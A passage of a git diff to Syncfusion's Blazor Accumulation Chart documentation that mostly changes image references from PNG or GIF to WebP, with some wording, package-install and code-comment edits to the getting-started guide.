+{% previewsample "https://blazorplayground.syncfusion.com/embed/BZLKMLsqzpZBowwH?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Explode in Blazor Funnel Chart](../images/funnel/blazor-funnel-chart-explode.webp)" %}
 
 ## Smart Data Label
 
@@ -259,7 +259,7 @@ Labels will be arranged automatically on the left side of the funnel and pyramid
 }
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/hjVKWrCqppsLzynA?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Funnel Chart with Smart Data Label](../images/funnel/blazor-funnel-chart-smart-data-label.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/hjVKWrCqppsLzynA?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Funnel Chart with Smart Data Label](../images/funnel/blazor-funnel-chart-smart-data-label.webp)" %}
 
 ## Border radius
 
@@ -299,7 +299,7 @@ The corners of the first data point and last data point in the funnel chart seri
     }
 }
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LjheDHBnqcxEcNgL?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Funnel Chart with border radius applied.](../images/funnel/blazor-funnel-border-radius.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/LjheDHBnqcxEcNgL?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Funnel Chart with border radius applied.](../images/funnel/blazor-funnel-border-radius.webp)" %}
 
 N> Refer to the [Blazor Charts](https://www.syncfusion.com/blazor-components/blazor-charts) feature tour page for its groundbreaking feature representations and also explore the [Blazor Accumulation Chart Example](https://blazor.syncfusion.com/demos/chart/funnel?theme=bootstrap5) to know various features of accumulation charts and how it is used to represent numeric proportional data.
 
diff --git a/blazor/accumulation-chart/chart-types/pie-doughnut.md b/blazor/accumulation-chart/chart-types/pie-doughnut.md
index 941336c5dd..4c776c6102 100644
--- a/blazor/accumulation-chart/chart-types/pie-doughnut.md
+++ b/blazor/accumulation-chart/chart-types/pie-doughnut.md
@@ -47,7 +47,7 @@ The [Pie Chart](https://www.syncfusion.com/blazor-components/blazor-charts/chart
 
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/BXLgsrWqJDwACRFV?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Pie Chart](../images/pie-dough-nut/blazor-pie-chart.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/BXLgsrWqJDwACRFV?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Pie Chart](../images/pie-dough-nut/blazor-pie-chart.webp)" %}
 
 ## Radius customization
 
@@ -87,7 +87,7 @@ The radius of the pie series will be set to 80% of its size (minimum of chart wi
 
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/BZLgsriKfjQmubFt?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Customizing Radius in Blazor Pie Chart](../images/pie-dough-nut/blazor-pie-chart-radius-customization.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/BZLgsriKfjQmubFt?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Customizing Radius in Blazor Pie Chart](../images/pie-dough-nut/blazor-pie-chart-radius-customization.webp)" %}
 
 ## Pie center
 
@@ -128,7 +128,7 @@ The center x and center y can be used to change the pie's center position. The p
 
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LjrqMLCUztbofzWG?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Changing Blazor Pie Chart Center Position](../images/pie-dough-nut/blazor-pie-chart-center-position.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/LjrqMLCUztbofzWG?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Changing Blazor Pie Chart Center Position](../images/pie-dough-nut/blazor-pie-chart-center-position.webp)" %}
 
 ## Various Radius Pie Chart
 
@@ -170,7 +170,7 @@ The [Radius](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.Accu
 
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LXhAsLWATjPOLGxv?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Pie Chart displays Various Radius](../images/pie-dough-nut/blazor-pie-chart-with-various-radius.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/LXhAsLWATjPOLGxv?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Pie Chart displays Various Radius](../images/pie-dough-nut/blazor-pie-chart-with-various-radius.webp)" %}
 
 ## Doughnut chart
 
@@ -210,7 +210,7 @@ The doughnut chart can be created by setting the [InnerRadius](https://help.sync
 
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LZrKCBsqzZagDOTz?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Doughnut Chart](../images/pie-dough-nut/blazor-doughnut-chart.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/LZrKCBsqzZagDOTz?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Doughnut Chart](../images/pie-dough-nut/blazor-doughnut-chart.webp)" %}
 
 ## Start and end angles
 
@@ -251,7 +251,7 @@ The [StartAngle](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.
 
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VNhqsBCKTjkHQfyz?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Customizing Start and End angles in Blazor Pie Chart](../images/pie-dough-nut/blazor-pie-chart-start-angle-customization.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/VNhqsBCKTjkHQfyz?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Customizing Start and End angles in Blazor Pie Chart](../images/pie-dough-nut/blazor-pie-chart-start-angle-customization.webp)" %}
 
 ## Color and text mapping
 
@@ -293,7 +293,7 @@ The [StartAngle](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.
 
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VNrUCrWqTiZCBNJq?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Pie Chart with Color and Text Mapping](../images/pie-dough-nut/blazor-pie-chart-text-mapping.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/VNrUCrWqTiZCBNJq?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Pie Chart with Color and Text Mapping](../images/pie-dough-nut/blazor-pie-chart-text-mapping.webp)" %}
 
 ## Border radius
 
@@ -327,7 +327,7 @@ The corners of all the slices in the pie/donut chart series can be rounded using
     }
 }
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/BjreZdhRKPiaFxIm?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Pie Chart with border radius applied.](../images/pie-dough-nut/blazor-pie-chart-border-radius.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/BjreZdhRKPiaFxIm?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Pie Chart with border radius applied.](../images/pie-dough-nut/blazor-pie-chart-border-radius.webp)" %}
 
 ## Hide pie or doughnut border
 
@@ -366,7 +366,7 @@ When the mouse hovers over the pie/doughnut chart, the border appears by default
 
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/htVqCLWUzWZnpzJw?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Hiding Blazor Pie Chart Border](../images/pie-dough-nut/Blazor-pie-chart-disable-border.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/htVqCLWUzWZnpzJw?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Hiding Blazor Pie Chart Border](../images/pie-dough-nut/Blazor-pie-chart-disable-border.webp)" %}
 
 N> Refer to the [Blazor Charts](https://www.syncfusion.com/blazor-components/blazor-charts) feature tour page for its groundbreaking feature representations and also explore the [Blazor Accumulation Chart Example](https://blazor.syncfusion.com/demos/chart/pie?theme=bootstrap5) to know various features of accumulation charts and how it is used to represent numeric proportional data.
 
diff --git a/blazor/accumulation-chart/chart-types/pyramid.md b/blazor/accumulation-chart/chart-types/pyramid.md
index 08a3a90568..f21e6add79 100644
--- a/blazor/accumulation-chart/chart-types/pyramid.md
+++ b/blazor/accumulation-chart/chart-types/pyramid.md
@@ -46,7 +46,7 @@ The [Pyramid Chart](https://www.syncfusion.com/blazor-components/blazor-charts/c
 ```
 
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rtBKiBiKfsBiJKAT?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Pyramid Chart](../images/pyramid/blazor-pyramid-chart.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/rtBKiBiKfsBiJKAT?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Pyramid Chart](../images/pyramid/blazor-pyramid-chart.webp)" %}
 
 ## Pyramid mode
 
@@ -86,7 +86,7 @@ The Pyramid Chart can be rendered in both `Linear` or `Surface` modes by setting
 
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VXrAiBsKJsKsjaYg?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Pyramid Chart with Surface Mode](../images/pyramid/blazor-pyramid-chart-with-surface-mode.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/VXrAiBsKJsKsjaYg?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Pyramid Chart with Surface Mode](../images/pyramid/blazor-pyramid-chart-with-surface-mode.webp)" %}
 
 ## Pyramid size
 
@@ -126,7 +126,7 @@ The size of the pyramid chart can be customized by using the [Width](https://hel
 
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VZBAMLiAzszQHxDQ?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Customizing Pyramid Size in Blazor Pyramid Chart](../images/pyramid/blazor-pyramid-chart-size.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/VZBAMLiAzszQHxDQ?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Customizing Pyramid Size in Blazor Pyramid Chart](../images/pyramid/blazor-pyramid-chart-size.webp)" %}
 
 ## Gap between pyramid segments
 
@@ -166,7 +166,7 @@ The [Pyramid Chart](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Char
 
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rXVUWhiKJsShBUhS?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Pyramid Chart with Gap](../images/pyramid/blazor-pyramid-chart-with-gap.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/rXVUWhiKJsShBUhS?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Pyramid Chart with Gap](../images/pyramid/blazor-pyramid-chart-with-gap.webp)" %}
 
 ## Pyramid explode
 
@@ -206,7 +206,7 @@ By setting the [Explode](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor
 
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/BthAMBMATgJWwkNT?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Explode in Blazor Pyramid Chart](../images/pyramid/blazor-pyramid-chart-explode.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/BthAMBMATgJWwkNT?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Explode in Blazor Pyramid Chart](../images/pyramid/blazor-pyramid-chart-explode.webp)" %}
 
 ## Border radius
 
@@ -244,7 +244,7 @@ The corners of the first data point and last data point in the pyramid chart ser
     }
 }
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LthyDHBRqlAFfKbF?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Pyramid Chart with border radius applied.](../images/pyramid/blazor-pyramid-border-radius.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/LthyDHBRqlAFfKbF?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Pyramid Chart with border radius applied.](../images/pyramid/blazor-pyramid-border-radius.webp)" %}
 
 N> Refer to our [Blazor Charts](https://www.syncfusion.com/blazor-components/blazor-charts) feature tour page for its groundbreaking feature representations and also explore our [Blazor Accumulation Chart Example](https://blazor.syncfusion.com/demos/chart/pyramid?theme=bootstrap5) to know various features of accumulation charts and how it is used to represent numeric proportional data.
 
diff --git a/blazor/accumulation-chart/data-label.md b/blazor/accumulation-chart/data-label.md
index 81b95be65c..c37fad806c 100644
--- a/blazor/accumulation-chart/data-label.md
+++ b/blazor/accumulation-chart/data-label.md
@@ -46,7 +46,7 @@ The [Visible](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.Acc
 
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/BtBUCrWAJzilTTrb?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Accumulation Chart with Data Label](images/data-label/blazor-accumulation-chart-with-data-label.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/BtBUCrWAJzilTTrb?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Accumulation Chart with Data Label](images/data-label/blazor-accumulation-chart-with-data-label.webp)" %}
 
 ## Text Wrap
 
@@ -82,7 +82,7 @@ When the data label text exceeds the container, the text can be wrapped by using
     }
 }
 ```
-{% previewsample "https://blazorplayground.syncfusion.com/embed/hjVUCVCgTfRsrPGK?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Text Wrap in Blazor Accumulation Chart](images/data-label/blazor-accumulation-chart-with-data-label-text-wrapping.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/hjVUCVCgTfRsrPGK?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Text Wrap in Blazor Accumulation Chart](images/data-label/blazor-accumulation-chart-with-data-label-text-wrapping.webp)" %}
 
 ## Position
 
@@ -123,7 +123,7 @@ The [Position](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.Ac
 
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VtLUMhsApTwpdpQa?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Changing Data Label Position in Blazor Accumulation Chart](images/data-label/blazor-accumulation-chart-label-position.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/VtLUMhsApTwpdpQa?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Changing Data Label Position in Blazor Accumulation Chart](images/data-label/blazor-accumulation-chart-label-position.webp)" %}
 
 ## Smart Labels
 
@@ -175,7 +175,7 @@ Data labels will be arranged smartly without overlapping with each other. The [E
 
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VthqCrMgfzFDgIcO?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Accumulation Chart with Smart Labels](images/data-label/blazor-accumulation-chart-smart-labels.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/VthqCrMgfzFDgIcO?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Accumulation Chart with Smart Labels](images/data-label/blazor-accumulation-chart-smart-labels.webp)" %}
 
 ## Connector line
 
@@ -218,7 +218,7 @@ When the data label is placed [Outside](https://help.syncfusion.com/cr/blazor/Sy
 
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/rZLqWVsqzTYnAoVP?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Accumulation Chart with Connector Line](images/data-label/blazor-accumulation-chart-connector-line.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/rZLqWVsqzTYnAoVP?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Accumulation Chart with Connector Line](images/data-label/blazor-accumulation-chart-connector-line.webp)" %}
 
 ## Text mapping
 
@@ -259,7 +259,7 @@ The [Name](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.Accumu
 
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/hjrUsrsApeCPdurG?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Text Mapping in Blazor Accumulation Chart](images/data-label/blazor-accumulation-chart-text-mapping.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/hjrUsrsApeCPdurG?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Text Mapping in Blazor Accumulation Chart](images/data-label/blazor-accumulation-chart-text-mapping.webp)" %}
 
 N> Refer to the [Blazor Charts](https://www.syncfusion.com/blazor-components/blazor-charts) feature tour page for its groundbreaking feature representations and also explore the [Blazor Accumulation Chart Example](https://blazor.syncfusion.com/demos/chart/pie?theme=bootstrap5) to know various features of accumulation charts and how it is used to represent numeric proportional data.
 
@@ -302,7 +302,7 @@ Data label for the accumulation chart can be formatted using [Format](https://he
 
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/VDhqMLsqzSLpcrER?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Format in Blazor Accumulation Chart](images/data-label/blazor-accumulation-chart-with-data-label-format.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/VDhqMLsqzSLpcrER?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Format in Blazor Accumulation Chart](images/data-label/blazor-accumulation-chart-with-data-label-format.webp)" %}
 
 ## Template
 
@@ -368,7 +368,7 @@ Data labels can be customized using the template element for the accumulation ch
 
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/BNLpZghnzXPGMCxq?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Template in Blazor Accumulation Chart](images/data-label/blazor-accumulation-chart-with-data-label-template.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/BNLpZghnzXPGMCxq?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Template in Blazor Accumulation Chart](images/data-label/blazor-accumulation-chart-with-data-label-template.webp)" %}
 
 ## See also
 
diff --git a/blazor/accumulation-chart/empty-points.md b/blazor/accumulation-chart/empty-points.md
index d70b0fcece..32b6ea032d 100644
--- a/blazor/accumulation-chart/empty-points.md
+++ b/blazor/accumulation-chart/empty-points.md
@@ -47,7 +47,7 @@ Data points that contain **NaN** or **null** value are considered as empty point
 
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LjLUZQhRVOciwQQa?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Empty Points in Blazor Accumulation Chart](images/empty/blazor-accumulation-chart-with-empty-point.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/LjLUZQhRVOciwQQa?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Empty Points in Blazor Accumulation Chart](images/empty/blazor-accumulation-chart-with-empty-point.webp)" %}
 
 ## Customization
 
@@ -92,7 +92,7 @@ The [Mode](https://help.syncfusion.com/cr/blazor/Syncfusion.Blazor.Charts.Accumu
 
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LNVqiLMqfySLYAVU?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Customizing Empty Points in Blazor Accumulation Chart](images/empty/blazor-accumulation-chart-empty-point-customization.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/LNVqiLMqfySLYAVU?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Customizing Empty Points in Blazor Accumulation Chart](images/empty/blazor-accumulation-chart-empty-point-customization.webp)" %}
 
 ## Handling No Data
 
@@ -145,7 +145,7 @@ When no data is available to render in the accumulation chart, the [NoDataTempla
 
 ```
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LNVojONbrgWPsFkS?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[No Data Template in Blazor Accumulation Chart](images/empty/blazor-accumulation-chart-no-data-template.gif)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/LNVojONbrgWPsFkS?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[No Data Template in Blazor Accumulation Chart](images/empty/blazor-accumulation-chart-no-data-template.webp)" %}
 
 N> Refer to the [Blazor Charts](https://www.syncfusion.com/blazor-components/blazor-charts) feature tour page for its groundbreaking feature representations and also explore the [Blazor Chart Example](https://blazor.syncfusion.com/demos/chart/pie?theme=bootstrap5) to know about the various chart types and how to represent time-dependent data, showing trends at equal intervals.
 
diff --git a/blazor/accumulation-chart/getting-started-with-server-app.md b/blazor/accumulation-chart/getting-started-with-server-app.md
index 26804ebb04..c23199626d 100644
--- a/blazor/accumulation-chart/getting-started-with-server-app.md
+++ b/blazor/accumulation-chart/getting-started-with-server-app.md
@@ -1,6 +1,6 @@
 ---
 layout: post
-title: Getting Stared | Blazor Accumulation Chart in Server App | Syncfusion
+title: Getting Started | Blazor Accumulation Chart in Server App | Syncfusion
 description: Checkout and learn about getting started with Blazor Accumulation Chart component in Blazor Server App.
 platform: Blazor
 control: Accumulation Chart
@@ -9,7 +9,7 @@ documentation: ug
 
 # Getting Started with Blazor Accumulation Chart in Blazor Server App
 
-This section briefly explains about how to include [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Accumulation Chart](https://www.syncfusion.com/blazor-components/blazor-charts) component in a Blazor Server App using [Visual Studio](https://visualstudio.microsoft.com/vs/), [Visual Studio Code](https://code.visualstudio.com/), and the [.NET CLI](https://learn.microsoft.com/en-us/dotnet/core/tools/).
+This section briefly explains how to include [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Accumulation Chart](https://www.syncfusion.com/blazor-components/blazor-charts) component in a Blazor Server App using [Visual Studio](https://visualstudio.microsoft.com/vs/), [Visual Studio Code](https://code.visualstudio.com/), and the [.NET CLI](https://learn.microsoft.com/en-us/dotnet/core/tools/).
 
 {% tabcontents %}
 
@@ -35,7 +35,7 @@ Create a **Blazor Server App** by using the **Blazor Web App** template in Visua
 
 Create a **Blazor Server App** using Visual Studio Code via [Microsoft Templates](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-10.0&pivots=vsc) or the [Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Extension](https://blazor.syncfusion.com/documentation/visual-studio-code-integration/create-project). For detailed instructions, refer to the [Blazor Server App Getting Started](https://blazor.syncfusion.com/documentation/getting-started/blazor-server-side-visual-studio?tabcontent=visual-studio-code) documentation.
 
-Alternatively, create a Server application by using the following command in the integrated terminal (<kbd>Ctrl</kbd>+<kbd>`</kbd>).
+Alternatively, create a Server application using the following command in the integrated terminal (<kbd>Ctrl</kbd>+<kbd>`</kbd>).
 
 {% tabs %}
 
@@ -83,9 +83,9 @@ cd BlazorApp
 
 N> Configure the appropriate [Interactive render mode](https://learn.microsoft.com/en-us/aspnet/core/blazor/components/render-modes?view=aspnetcore-10.0#render-modes) and [Interactivity location](https://learn.microsoft.com/en-us/aspnet/core/blazor/tooling?view=aspnetcore-10.0&pivots=vs) while creating a Blazor Server App. For detailed information, refer to the [interactive render mode documentation](https://blazor.syncfusion.com/documentation/common/interactive-render-mode).
 
-### Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor packages
+## Install Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor packages
 
-Install [Syncfusion.Blazor.Charts](https://www.nuget.org/packages/Syncfusion.Blazor.Charts/) and [Syncfusion.Blazor.Themes](https://www.nuget.org/packages/Syncfusion.Blazor.Themes/) NuGet packages in your project using the NuGet Package Manager in Visual Studio (*Tools → NuGet Package Manager → Manage NuGet Packages for Solution*), or the integrated terminal in Visual Studio Code (`dotnet add package`), or the .NET CLI.
+Install the [Syncfusion.Blazor.Charts](https://www.nuget.org/packages/Syncfusion.Blazor.Charts/) NuGet package in your project using the NuGet Package Manager in Visual Studio (*Tools → NuGet Package Manager → Manage NuGet Packages for Solution*), or the integrated terminal in Visual Studio Code (dotnet add package Syncfusion.Blazor.Charts --version {{ site.releaseversion }}), or the .NET CLI.
 
 Alternatively, run the following commands in the Package Manager Console to achieve the same.
 
@@ -93,7 +93,6 @@ Alternatively, run the following commands in the Package Manager Console to achi
 {% highlight C# tabtitle="Package Manager" %}
 
 Install-Package Syncfusion.Blazor.Charts -Version {{ site.releaseversion }}
-Install-Package Syncfusion.Blazor.Themes -Version {{ site.releaseversion }}
 
 {% endhighlight %}
 {% endtabs %}
@@ -104,6 +103,8 @@ N> All Syncfusion Blazor packages are available on [nuget.org](https://www.nuget
 
 After the packages are installed, open the **~/_Imports.razor** file and import the `Syncfusion.Blazor` and `Syncfusion.Blazor.Charts` namespaces.
 
+N> The `~/` notation represents the root directory of your project. This file is typically located in your project's root folder.
+
 {% tabs %}
 {% highlight C# tabtitle="~/_Imports.razor" %}
 
@@ -115,7 +116,7 @@ After the packages are installed, open the **~/_Imports.razor** file and import
 
 ## Register Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service
 
-Register the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service in the **Program.cs** file of your Blazor Server App.
+Register the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor service in the **Program.cs** file of your Blazor Server App. This step enables the Syncfusion components to work in your application.
 
 {% tabs %}
 {% highlight C# tabtitle="Program.cs" %}
@@ -129,30 +130,28 @@ builder.Services.AddSyncfusionBlazor();
 {% endhighlight %}
 {% endtabs %}
 
-## Add stylesheet and script resources
+## Add script resources
 
-The theme stylesheet and script can be accessed from NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets). Include the stylesheet and script references in the **~/Components/App.razor** file.
+The Syncfusion JavaScript library needs to be included in your application. The script can be accessed from NuGet through [Static Web Assets](https://blazor.syncfusion.com/documentation/common/adding-script-references#static-web-assets). Include the script reference in the **~/Components/App.razor** file (this is the root layout file of your application).
 
 ```html
 
-<link href="_content/Syncfusion.Blazor.Themes/fluent2.css" rel="stylesheet" />
-....
 <script src="_content/Syncfusion.Blazor.Core/scripts/syncfusion-blazor.min.js" type="text/javascript"></script>
 
 ```
 
-N> Check out the [Blazor Themes](https://blazor.syncfusion.com/documentation/appearance/themes) topic to discover various methods ([Static Web Assets](https://blazor.syncfusion.com/documentation/appearance/themes#static-web-assets), [CDN](https://blazor.syncfusion.com/documentation/appearance/themes#cdn-reference), and [CRG](https://blazor.syncfusion.com/documentation/common/custom-resource-generator)) for referencing themes in the Blazor application. Also, check out the [Adding Script Reference](https://blazor.syncfusion.com/documentation/common/adding-script-references) topic to learn different approaches for adding script references in the Blazor application.
+N> Check out the [Adding Script Reference](https://blazor.syncfusion.com/documentation/common/adding-script-references) topic to learn different approaches for adding script references in the Blazor application.
 
 ## Add Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Accumulation Chart component
 
-Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Accumulation Chart component in the **~/Components/Pages/Home.razor** file. If the interactivity location is set to `Per page/component`, define a render mode at top of the `~Pages/Home.razor` file.
+Add the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Accumulation Chart component in the **~/Components/Pages/Home.razor** file. If the interactivity location is set to `Per page/component`, define a render mode at the top of the `~Pages/Home.razor` file.
 
 N> If the Interactivity Location is set to `Global`, the render mode is automatically configured in the `App.razor` file by default.
 
 {% tabs %}
 {% highlight razor %}
 
-@* desired render mode define here *@
+@* desired render mode defined here *@
 @rendermode InteractiveServer
 
 {% endhighlight %}
@@ -161,8 +160,11 @@ N> If the Interactivity Location is set to `Global`, the render mode is automati
 {% tabs %}
 {% highlight razor tabtitle="Home.razor" %}
 
+<!-- SfAccumulationChart is the root container component for the accumulation chart -->
 <SfAccumulationChart>
+    <!-- Container for defining chart series -->
     <AccumulationChartSeriesCollection>
+        <!-- AccumulationChartSeries defines a data series with its data source and axis mappings -->
         <AccumulationChartSeries DataSource="@MedalDetails" XName="Country" YName="Medals">
         </AccumulationChartSeries>
     </AccumulationChartSeriesCollection>
@@ -193,112 +195,10 @@ N> If the Interactivity Location is set to `Global`, the render mode is automati
 
 Press <kbd>Ctrl</kbd>+<kbd>F5</kbd> (Windows) or <kbd>⌘</kbd>+<kbd>F5</kbd> (macOS) to launch the application. This will render the Syncfusion<sup style="font-size:70%">&reg;</sup> Blazor Accumulation Chart component in the default web browser.
 
-{% previewsample "https://blazorplayground.syncfusion.com/embed/LjhzDWVeVKeUbWGh?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Pie Chart](images/getting-started/blazor-pie-chart-webapp.png)" %}
+{% previewsample "https://blazorplayground.syncfusion.com/embed/LjhzDWVeVKeUbWGh?appbar=false&editor=false&result=true&errorlist=false&theme=bootstrap5" backgroundimage "[Blazor Pie Chart](images/getting-started/blazor-pie-chart-webapp.webp)" %}
 
